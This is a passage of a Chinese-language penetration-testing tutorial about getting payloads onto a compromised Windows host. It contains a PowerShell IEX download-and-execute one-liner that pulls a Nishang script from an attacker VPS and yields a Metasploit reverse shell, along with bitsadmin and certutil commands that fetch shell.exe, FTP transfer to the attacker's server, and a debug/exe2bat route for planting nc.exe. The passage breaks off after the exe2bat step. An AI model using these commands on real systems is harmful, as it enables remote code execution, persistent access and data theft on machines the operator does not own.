之后,将生成的shell.txt放到vps上面,然后在目标主机上面用Download_Execute脚本下载改shell.txt,将其转化为exe后执行
powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/nishang/Execution/Download_Execute.ps1');Download_Execute
此时正在监听的msf上反弹回了shell:
利用bitsadmin命令上传文件
bitsadmin 可以用来在windows 命令行下下载文件。bitsadmin是 windows 后台智能传输服务的一个工具,windows 的自动更新,补丁之类的下载就是用这个工具来实现的。Windows Server2003和XP是没有bitsadmin的,Winc7及其之后的机器才有。bitsadmin 可以在网络不稳定的状态下下载文件,出错会自动重试,可靠性应该相当不错。
如下,我们利用bitsadmin就可以网目标主机上上传一个文件(将位于外网的文件下载到目标主机上)
bitsadmin /transfer <任务名> <remote_url> <local_name> bitsadmin /transfer shell c:usersLiu Sirshell.exe // "任务名" 可以随意起,保存文件的文件路径必须是已经存在的有权限的目录,否则不能下载。
在bitsadmin下载速度过慢的时候可以使用setpriority xxx foreground设置任务xxx为最高优先级来提速:
先执行: start bitsadmin /transfer shell c:usersLiu Sirshell1.exe 再执行: bitsadmin /setpriority shell foreground
利用certutil命令上传文件
在Win7及其以后的机器都可以使用。(但该命令可能会被杀软查杀)
certutil -urlcache -split -f // 下载文件到当前目录下 certutil -urlcache -split -f c:/users/Liu Sir/shell.exe // 下载文件到指定目录下
利用FTP协议进行上传下载
我们要做的是,在自己的vps上面配置好FTP服务器,就可以在目标机上通过ftp命令完成文件的上传下载了。
常用的 FTP 命令:
open <ftp服务器地址>:连接指定的FTP服务器
cd:进入指定的目录
put/send <本地文件> <远程目录>:将目标机器本地文件上传到服务器远程目录 // send和put方法用法都基本相同,但是上传速度send却要比put快很多
get <远程文件> <本地目录>:将ftp服务器上的文件下载到本地目标机器中
利用Debug向目标主机上传文件
DEBUG是一个DOS实用程序,是供程序员使用的程序调试工具,可以用它检查内存中任何地方的字节以及修改任何地方的字节。它可以用于逐指令执行某个程序以验证程序运行的正确性,也可以追踪执行过程、比较一个指令执行前后的值以及比较与移动内存中数据的范围,读写文件与磁盘扇区。
我们利用Debug向目标主机上传文件的原理就是,先将需要上传的exe文件转换为十六进制hex的格式,将hex的内容复制,再通过echo命令将hex内容写入到目标主机上的一个文件中,最后利用debug将hex内容编译成exe文件。
接下来,我们将nc.exe工具利用debug上传至目标主机。
我们使用kali中的exe2bat.exe工具(位于/usr/share/windows-binaries目录下)将二进制的nc.exe转换成16进制的表示,由于exe2bat是windows程序,所以在kali上我们要用wine来执行(linux是不能运行window下的可执行文件的,必须借助于wine):
wine exe2bat.exe nc.exe nc.txt